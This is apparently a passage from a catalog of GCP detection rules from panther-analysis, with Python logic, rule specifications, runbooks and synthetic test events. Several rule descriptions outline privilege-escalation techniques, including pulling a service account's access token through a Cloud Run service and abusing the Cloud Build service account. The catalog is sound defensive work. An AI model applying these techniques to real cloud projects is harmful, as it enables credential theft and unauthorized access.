  • protoPayload.authorizationInfo.permission is run.services.create

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Confirm this was authorized and necessary behavior

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "jzm5rucrn2",
  "logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "some.user@company.com",
      "principalSubject": "user:some.user@company.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "run.services.create",
        "resource": "namespaces/some-project/services/cloudrun-exfil",
        "resourceAttributes": {}
      }
    ],
    "methodName": "google.cloud.run.v1.Services.CreateService",
    "request": {
      "@type": "type.googleapis.com/google.cloud.run.v1.CreateServiceRequest",
      "parent": "namespaces/some-project",
      "service": {
        "apiVersion": "serving.knative.dev/v1",
        "kind": "Service",
        "metadata": {
          "annotations": {
            "client.knative.dev/user-image": "us-west1-docker.pkg.dev/some-project/abc-test/run_services_create_test"
          },
          "name": "cloudrun-exfil",
          "namespace": "some-project"
        },
        "spec": {
          "template": {
            "metadata": {
              "annotations": {
                "client.knative.dev/user-image": "us-west1-docker.pkg.dev/some-project/abc-test/run_services_create_test"
              },
              "labels": {
                "cloud.googleapis.com/location": "us-west1"
              },
              "name": "cloudrun-exfil-00001-zif"
            },
            "spec": {
              "serviceAccountName": "abc-test@some-project.iam.gserviceaccount.com"
            }
          }
        }
      }
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "(gzip),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2024-02-02T09:43:54.690161Z"
      }
    },
    "resourceLocation": {
      "currentLocations": [
        "us-west1"
      ]
    },
    "resourceName": "namespaces/some-project/services/cloudrun-exfil",
    "response": {
      "@type": "type.googleapis.com/google.cloud.run.v1.Service",
      "apiVersion": "serving.knative.dev/v1",
      "kind": "Service",
      "metadata": {
        "annotations": {
          "client.knative.dev/user-image": "us-west1-docker.pkg.dev/some-project/abc-test/run_services_create_test",
          "run.googleapis.com/ingress": "all",
          "run.googleapis.com/operation-id": "6fdf115a-1bdd-4836-b0ca-ae71f8ba6718",
          "serving.knative.dev/creator": "some.user@company.com",
          "serving.knative.dev/lastModifier": "some.user@company.com"
        },
        "creationTimestamp": "2024-02-02T09:43:54.640837Z",
        "generation": 1,
        "labels": {
          "cloud.googleapis.com/location": "us-west1"
        },
        "name": "cloudrun-exfil",
        "namespace": "1028347275902",
        "resourceVersion": "AAYQYvNHUcU",
        "selfLink": "/apis/serving.knative.dev/v1/namespaces/1028347275902/services/cloudrun-exfil",
        "uid": "45101e8e-7b91-4c41-81a1-969e876923f4"
      },
      "spec": {
        "template": {
          "metadata": {
            "annotations": {
              "autoscaling.knative.dev/maxScale": "100",
              "client.knative.dev/user-image": "us-west1-docker.pkg.dev/some-project/abc-test/run_services_create_test"
            },
            "labels": {
              "run.googleapis.com/startupProbeType": "Default"
            },
            "name": "cloudrun-exfil-00001-zif"
          },
          "spec": {
            "containerConcurrency": 80,
            "serviceAccountName": "abc-test@some-project.iam.gserviceaccount.com",
            "timeoutSeconds": 300
          }
        },
        "traffic": [
          {
            "latestRevision": true,
            "percent": 100
          }
        ]
      },
      "status": {}
    },
    "serviceName": "run.googleapis.com"
  },
  "receiveTimestamp": "2024-02-02 09:43:54.723840817",
  "resource": {
    "labels": {
      "configuration_name": "",
      "location": "us-west1",
      "project_id": "some-project",
      "revision_name": "",
      "service_name": "cloudrun-exfil"
    },
    "type": "cloud_run_revision"
  },
  "severity": "NOTICE",
  "timestamp": "2024-02-02 09:43:54.497796000"
}

GCP Cloud Run Service Created WITH Set IAM Policy

#
Severity
high
Time window
30h
Match by
p_alert_context.caller_ip
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

Detects run.services.create method for privilege escalation in GCP. The exploit creates a new Cloud Run Service that, when invoked, returns the Service Account's access token by accessing the metadata API of the server it is running on.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Rule specification

AnalysisType: correlation_rule
RuleID: "GCP.Cloud.Run.Service.Created.WITH.Set.IAM.Policy"
DisplayName: "GCP Cloud Run Service Created WITH Set IAM Policy"
Enabled: false
Severity: High
Description: Detects run.services.create method for privilege escalation in GCP. The exploit creates a new Cloud Run 
  Service that, when invoked, returns the Service Account's access token by accessing the metadata API of the server 
  it is running on.
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook: Confirm this was authorized and necessary behavior
Reports:
    MITRE ATT&CK:
        - TA0004:T1548  # Abuse Elevation Control Mechanism
Detection:
    - Group:
        - ID: ServiceCreated
          RuleID: GCP.Cloud.Run.Service.Created
        - ID: SetIAMPolicy
          RuleID: GCP.Cloud.Run.Set.IAM.Policy
      MatchCriteria:
        field_name:
          - GroupID: ServiceCreated
            Match: p_alert_context.caller_ip
          - GroupID: SetIAMPolicy
            Match: p_alert_context.caller_ip
      LookbackWindowMinutes: 1800
      Schedule:
        RateMinutes: 1440
        TimeoutMinutes: 5

Stages and Predicates

Fires when the steps below all occur within 30h, correlated by p_alert_context.caller_ip. Each step needs one match unless a higher minimum is shown.

Stage 1: step ServiceCreated

References detection GCP Cloud Run Service Created.

Stage 2: step SetIAMPolicy

References detection GCP Cloud Run Set IAM Policy.

Response runbook

Confirm this was authorized and necessary behavior

GCP Cloud Run Set IAM Policy

#
Severity
high
Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects new roles granted to users to Cloud Run Services. This could potentially allow the user to perform actions within the project and its resources, which could pose a security risk.

Telemetry coverage

PlatformRecord / event type
GCPany: run.googleapis.com (any method)

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    if event.get("severity") == "ERROR":
        return False

    method_name = event.deep_get("protoPayload", "methodName", default="")
    if not method_name.endswith("Services.SetIamPolicy"):
        return False

    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if auth.get("permission") == "run.services.setIamPolicy" and auth.get("granted") is True:
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    resource = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
    service_name = resource.split("/")[-1] if "/" in resource else resource

    # Extract roles from the response bindings - there could be multiple
    bindings = event.deep_get("protoPayload", "response", "bindings", default=[])

    # Handle multiple roles if present
    roles = []
    for binding in bindings:
        if binding.get("role"):
            roles.append(binding.get("role"))

    # Format roles for title
    if not roles:
        roles_str = "<NO_ROLES_FOUND>"
    elif len(roles) == 1:
        roles_str = roles[0]
    else:
        # If multiple roles, mention the count and list the first one
        roles_str = f"{len(roles)} roles including {roles[0]}"

    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return (
        f"[GCP]: [{actor}] modified IAM policy for Cloud Run service [{service_name}] "
        f"with [{roles_str}] in project [{project_id}]"
    )


def alert_context(event):
    context = gcp_alert_context(event)

    # Extract the service name from the resource path for better context
    resource = event.deep_get("protoPayload", "resourceName", default="")
    if resource:
        context["service_name"] = resource.split("/")[-1] if "/" in resource else resource

    # Get bindings and role information
    bindings = event.deep_get("protoPayload", "response", "bindings", default=[])

    # Collect all roles and members
    all_roles = []
    all_members = []
    role_to_members = {}

    for binding in bindings:
        role = binding.get("role")
        members = binding.get("members", [])

        if role:
            all_roles.append(role)

        if members:
            all_members.extend(members)

            # Create mapping of role to members
            if role:
                role_to_members[role] = members

    # Store all collected information in the context
    context["assigned_roles"] = all_roles
    context["members_granted"] = all_members
    context["role_to_members_mapping"] = role_to_members

    return context

Rule specification

AnalysisType: rule
LogTypes:
  - GCP.AuditLog
Description:
  Detects new roles granted to users to Cloud Run Services. This could potentially allow the user to perform
  actions within the project and its resources, which could pose a security risk.
DisplayName: "GCP Cloud Run Set IAM Policy"
RuleID: "GCP.Cloud.Run.Set.IAM.Policy"
Enabled: true
Filename: gcp_cloud_run_set_iam_policy.py
Reference: https://cloud.google.com/run/docs/securing/managing-access
Runbook: Confirm this was authorized and necessary behavior
Severity: High
DedupPeriodMinutes: 60
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • severity is not ERROR
  • protoPayload.methodName ends with Services.SetIamPolicy
  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is run.services.setIamPolicy
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is run.services.setIamPolicy

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Confirm this was authorized and necessary behavior

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "l3jvzyd2s2s",
  "logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "some.user@company.com",
      "principalSubject": "user:some.user@company.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "run.services.setIamPolicy",
        "resource": "projects/some-project/locations/us-west1/services/cloudrun-exfil",
        "resourceAttributes": {}
      },
      {
        "granted": true,
        "permission": "run.services.setIamPolicy",
        "resourceAttributes": {}
      }
    ],
    "methodName": "google.cloud.run.v1.Services.SetIamPolicy",
    "request": {
      "@type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
      "policy": {
        "bindings": [
          {
            "members": [
              "user:some.user@company.com"
            ],
            "role": "roles/run.invoker"
          }
        ]
      },
      "resource": "projects/some-project/locations/us-west1/services/cloudrun-exfil"
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "(gzip),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2024-02-02T09:44:26.173186Z"
      }
    },
    "resourceLocation": {
      "currentLocations": [
        "us-west1"
      ]
    },
    "resourceName": "projects/some-project/locations/us-west1/services/cloudrun-exfil",
    "response": {
      "@type": "type.googleapis.com/google.iam.v1.Policy",
      "bindings": [
        {
          "members": [
            "user:some.user@company.com"
          ],
          "role": "roles/run.invoker"
        }
      ],
      "etag": "BwYQYvUoBxs="
    },
    "serviceName": "run.googleapis.com"
  },
  "receiveTimestamp": "2024-02-02 09:44:26.653891982",
  "resource": {
    "labels": {
      "configuration_name": "",
      "location": "us-west1",
      "project_id": "some-project",
      "revision_name": "",
      "service_name": ""
    },
    "type": "cloud_run_revision"
  },
  "severity": "NOTICE",
  "timestamp": "2024-02-02 09:44:26.029835000"
}

GCP Cloud Storage Buckets Modified Or Deleted

#
Severity
low
Entities
ip_addresses
Log types
GCP.AuditLog
Tags
GCP, Google Cloud Storage, Defense Evasion:Impair Defenses, Impact:Data Encrypted for Impact, Ransomware
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects when a GCS bucket configuration is updated or deleted. Bucket configuration changes can be part of a ransomware attack, such as disabling security settings to prevent data recovery.

MITRE ATT&CK coverage

TacticTechniques
Defense Impairment
Impact

Telemetry coverage

Detection logic

BUCKET_OPERATIONS = ["storage.buckets.delete", "storage.buckets.update"]


def rule(event):
    return all(
        [
            event.deep_get("protoPayload", "serviceName", default="") == "storage.googleapis.com",
            event.deep_get("protoPayload", "methodName", default="") in BUCKET_OPERATIONS,
            event.get("severity") != "ERROR",
        ]
    )


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
    bucket = event.deep_get("resource", "labels", "bucket_name", default="<BUCKET_NOT_FOUND>")

    return f"GCP: [{actor}] performed a [{operation}] on bucket [{bucket}] in project [{project}]."


def alert_context(event):
    return {
        "actor": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
        "bucket": event.deep_get("resource", "labels", "bucket_name"),
        "source_ip": event.deep_get("protoPayload", "requestMetadata", "callerIp"),
        "user_agent": event.deep_get("protoPayload", "requestMetadata", "callerSuppliedUserAgent"),
        "project": event.deep_get("resource", "labels", "project_id"),
    }

Rule specification

AnalysisType: rule
DisplayName: "GCP Cloud Storage Buckets Modified Or Deleted"
Enabled: true
Filename: gcp_cloud_storage_buckets_modified_or_deleted.py
Description: >
  Detects when a GCS bucket configuration is updated or deleted. Bucket configuration changes can be
  part of a ransomware attack, such as disabling security settings to prevent data recovery.
Runbook: |
  1. Query GCP Audit logs for all bucket operations by the principal email in the 24 hours before and after this alert
  2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access patterns
  3. Identify what specific configuration was changed (encryption, retention, versioning, lifecycle policies)
  4. Search for related KMS key changes or IAM policy modifications on the same bucket in the past 6 hours
  5. Look for bulk object operations (rewrite, copy, delete) on this bucket following the configuration change
Reference: https://cloud.google.com/storage/docs/json_api/v1/buckets/update
Tags:
  - GCP
  - Google Cloud Storage
  - Defense Evasion:Impair Defenses
  - Impact:Data Encrypted for Impact
  - Ransomware
Reports:
  MITRE ATT&CK:
    - TA0005:T1562
    - TA0040:T1486
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_emails
Severity: Low
DedupPeriodMinutes: 60
LogTypes:
  - GCP.AuditLog
RuleID: "GCP.Cloud.Storage.Buckets.Modified.Or.Deleted"
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.serviceName is storage.googleapis.com
  • protoPayload.methodName is one of storage.buckets.delete, storage.buckets.update
  • severity is not ERROR

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
actorprotoPayload.authenticationInfo.principalEmail
bucketresource.labels.bucket_name
source_ipprotoPayload.requestMetadata.callerIp
user_agentprotoPayload.requestMetadata.callerSuppliedUserAgent
projectresource.labels.project_id
methodNameprotoPayload.methodName

Response runbook

1. Query GCP Audit logs for all bucket operations by the principal email in the 24 hours before and after this alert

2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access patterns

3. Identify what specific configuration was changed (encryption, retention, versioning, lifecycle policies)

4. Search for related KMS key changes or IAM policy modifications on the same bucket in the past 6 hours

5. Look for bulk object operations (rewrite, copy, delete) on this bucket following the configuration change

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "asdf1234asdfg",
  "logName": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Factivity",
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_event_time": "2023-03-09 10:05:23.603",
  "p_log_type": "GCP.AuditLog",
  "p_parse_time": "2023-03-09 10:07:14.731",
  "p_row_id": "7ad218d42253b7e6f78cc0ed1635",
  "p_source_id": "4fc88a5a-2d51-4279-9c4a-08fa7cc52566",
  "p_source_label": "gcplogsource",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@company.io"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "storage.buckets.update",
        "resource": "projects/_/buckets/my-bucket",
        "resourceAttributes": {}
      }
    ],
    "methodName": "storage.buckets.update",
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "apitools Python/3.9.11 gsutil/5.11 (darwin) analytics/enabled interactive/True command/notification google-cloud-sdk/394.0.0,gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2023-03-09T10:05:23.610372568Z"
      }
    },
    "resourceName": "projects/_/buckets/my-bucket",
    "serviceName": "storage.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2023-03-09 10:05:25.146",
  "resource": {
    "labels": {
      "bucket_name": "my-bucket",
      "location": "us-east1",
      "project_id": "gcp-project1"
    },
    "type": "gcs_bucket"
  },
  "severity": "NOTICE",
  "timestamp": "2023-03-09 10:05:23.603"
}

GCP CloudBuild Potential Privilege Escalation

#
Severity
high
Log types
GCP.AuditLog
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

Detects privilege escalation attacks designed to gain access to the Cloud Build Service Account. A user with permissions to start a new build with Cloud Build can gain access to the Cloud Build Service Account and abuse it for more access to the environment.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    if not event.deep_get("protoPayload", "methodName", default="METHOD_NOT_FOUND").endswith(
        "CloudBuild.CreateBuild"
    ):
        return False

    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    # Get the principal (actor) email
    principal = event.deep_get("protoPayload", "authenticationInfo", "principalEmail", default="")

    # Skip whitelisted service accounts
    if principal.endswith("@gcf-admin-robot.iam.gserviceaccount.com"):
        return False

    # Check if build.create permission was granted
    for auth in authorization_info:
        if auth.get("permission") == "cloudbuild.builds.create" and auth.get("granted") is True:
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
LogTypes:
  - GCP.AuditLog
Description:
  Detects privilege escalation attacks designed to gain access to the Cloud Build Service Account.
  A user with permissions to start a new build with Cloud Build can gain access to the Cloud Build Service Account
  and abuse it for more access to the environment.
DisplayName: "GCP CloudBuild Potential Privilege Escalation"
RuleID: "GCP.CloudBuild.Potential.Privilege.Escalation"
Enabled: true
Filename: gcp_cloudbuild_potential_privilege_escalation.py
Reference: https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
Runbook:
  Confirm this was authorized and necessary behavior. To defend against this privilege escalation attack,
  it is necessary to restrict the permissions granted to the Cloud Build Service Account and to be careful granting
  the cloudbuild.builds.create permission to any users in your Organization. Most importantly, you need to know that
  any user who is granted cloudbuild.builds.create, is also indirectly granted all the permissions granted to the
  Cloud Build Service Account. If that’s alright with you, then you may not need to worry about this attack vector,
  but it is still highly recommended to modify the default permissions granted to the Cloud Build Service Account.
Reports:
  MITRE ATT&CK:
    - TA0004:T1548 # Abuse Elevation Control Mechanism
Severity: High
DedupPeriodMinutes: 60
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName ends with CloudBuild.CreateBuild
  • protoPayload.authorizationInfo is present
  • protoPayload.authenticationInfo.principalEmail does not end with @gcf-admin-robot.iam.gserviceaccount.com
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is cloudbuild.builds.create
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is cloudbuild.builds.create

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
protoPayload.authenticationInfo.principalEmailends_with@gcf-admin-robot.iam.gserviceaccount.comexcludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"@gcf-admin-robot.iam.gserviceaccount.com"

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Confirm this was authorized and necessary behavior. To defend against this privilege escalation attack, it is necessary to restrict the permissions granted to the Cloud Build Service Account and to be careful granting the cloudbuild.builds.create permission to any users in your Organization. Most importantly, you need to know that any user who is granted cloudbuild.builds.create, is also indirectly granted all the permissions granted to the Cloud Build Service Account. If that’s alright with you, then you may not need to worry about this attack vector, but it is still highly recommended to modify the default permissions granted to the Cloud Build Service Account.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
  "operation": {
    "first": true,
    "id": "operations/build/some-project/YzNhZWI0YWYtNjAwNi00YzM5LTgxYmUtMjhmMjc1YzJkOGEz",
    "producer": "cloudbuild.googleapis.com"
  },
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "whodoneit@some-project.iam.gserviceaccount.com",
      "principalSubject": "serviceAccount:whodoneit@some-project.iam.gserviceaccount.com",
      "serviceAccountKeyName": "//iam.googleapis.com/projects/some-project/serviceAccounts/whodoneit@some-project.iam.gserviceaccount.com/keys/123er456788"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "cloudbuild.builds.create",
        "resource": "projects/some-project",
        "resourceAttributes": {}
      }
    ],
    "methodName": "google.devtools.cloudbuild.v1.CloudBuild.CreateBuild",
    "request": {
      "@type": "type.googleapis.com/google.devtools.cloudbuild.v1.CreateBuildRequest",
      "build": {},
      "projectId": "some-project"
    },
    "requestMetadata": {
      "callerIP": "189.163.74.177",
      "callerSuppliedUserAgent": "(gzip),gzip(gfe),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2024-01-25T11:55:09.740095Z"
      }
    },
    "resourceLocation": {
      "currentLocations": [
        "global"
      ]
    },
    "resourceName": "projects/some-project/builds",
    "serviceName": "cloudbuild.googleapis.com"
  },
  "receiveTimestamp": "2024-01-25 11:55:09.854909113",
  "resource": {
    "labels": {
      "build_id": "c3aeb4ap-6006-4c39-81be-28f275c2d8a3",
      "build_trigger_id": "",
      "project_id": "some-project"
    },
    "type": "build"
  },
  "severity": "NOTICE",
  "timestamp": "2024-01-25 11:55:08.919358000"
}

GCP cloudfunctions functions create

#
Severity
high
Log types
GCP.AuditLog
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

The Identity and Access Management (IAM) service manages authorization and authentication for a GCP environment. This means that there are very likely multiple privilege escalation methods that use the IAM service and/or its permissions.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if (
            auth.get("permission") == "cloudfunctions.functions.create"
            and auth.get("granted") is True
        ):
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
RuleID: "GCP.Cloudfunctions.Functions.Create"
DisplayName: "GCP cloudfunctions functions create"
Description:
  The Identity and Access Management (IAM) service manages authorization and authentication for
  a GCP environment. This means that there are very likely multiple privilege escalation methods that use
  the IAM service and/or its permissions.
Enabled: true
Filename: gcp_cloudfunctions_functions_create.py
LogTypes:
  - GCP.AuditLog
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook:
  Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability
  in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against
  them. It’s also important to remember that privilege escalation does not necessarily need to pass through the
  IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help
  mitigate these security risks.
Reports:
  MITRE ATT&CK:
    - TA0004:T1548

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is cloudfunctions.functions.create
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is cloudfunctions.functions.create

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against them. It’s also important to remember that privilege escalation does not necessarily need to pass through the IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "cloudfunctions.functions.create"
      }
    ],
    "methodName": "v2.deploymentmanager.deployments.insert",
    "serviceName": "deploymentmanager.googleapis.com"
  },
  "receiveTimestamp": "2024-01-19 13:47:19.465856238",
  "resource": {
    "labels": {
      "name": "test-vm-deployment",
      "project_id": "panther-threat-research"
    },
    "type": "deployment"
  },
  "severity": "NOTICE",
  "timestamp": "2024-01-19 13:47:18.279921000"
}

GCP cloudfunctions functions update

#
Severity
high
Log types
GCP.AuditLog
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

The Identity and Access Management (IAM) service manages authorization and authentication for a GCP environment. This means that there are very likely multiple privilege escalation methods that use the IAM service and/or its permissions.

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if (
            auth.get("permission") == "cloudfunctions.functions.update"
            and auth.get("granted") is True
        ):
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
RuleID: "GCP.Cloudfunctions.Functions.Update"
DisplayName: "GCP cloudfunctions functions update"
Description:
  The Identity and Access Management (IAM) service manages authorization and authentication for
  a GCP environment. This means that there are very likely multiple privilege escalation methods that use
  the IAM service and/or its permissions.
Enabled: true
Filename: gcp_cloudfunctions_functions_update.py
LogTypes:
  - GCP.AuditLog
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook:
  Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability
  in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against
  them. It’s also important to remember that privilege escalation does not necessarily need to pass through the
  IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help
  mitigate these security risks.
Reports:
  MITRE ATT&CK:
    - TA0004:T1548

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is cloudfunctions.functions.update
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is cloudfunctions.functions.update

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against them. It’s also important to remember that privilege escalation does not necessarily need to pass through the IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "cloudfunctions.functions.update"
      }
    ],
    "methodName": "v2.deploymentmanager.deployments.insert",
    "serviceName": "deploymentmanager.googleapis.com"
  },
  "receiveTimestamp": "2024-01-19 13:47:19.465856238",
  "resource": {
    "labels": {
      "name": "test-vm-deployment",
      "project_id": "panther-threat-research"
    },
    "type": "deployment"
  },
  "severity": "NOTICE",
  "timestamp": "2024-01-19 13:47:18.279921000"
}

GCP Compute IAM Policy Update Detection

#
Severity
medium
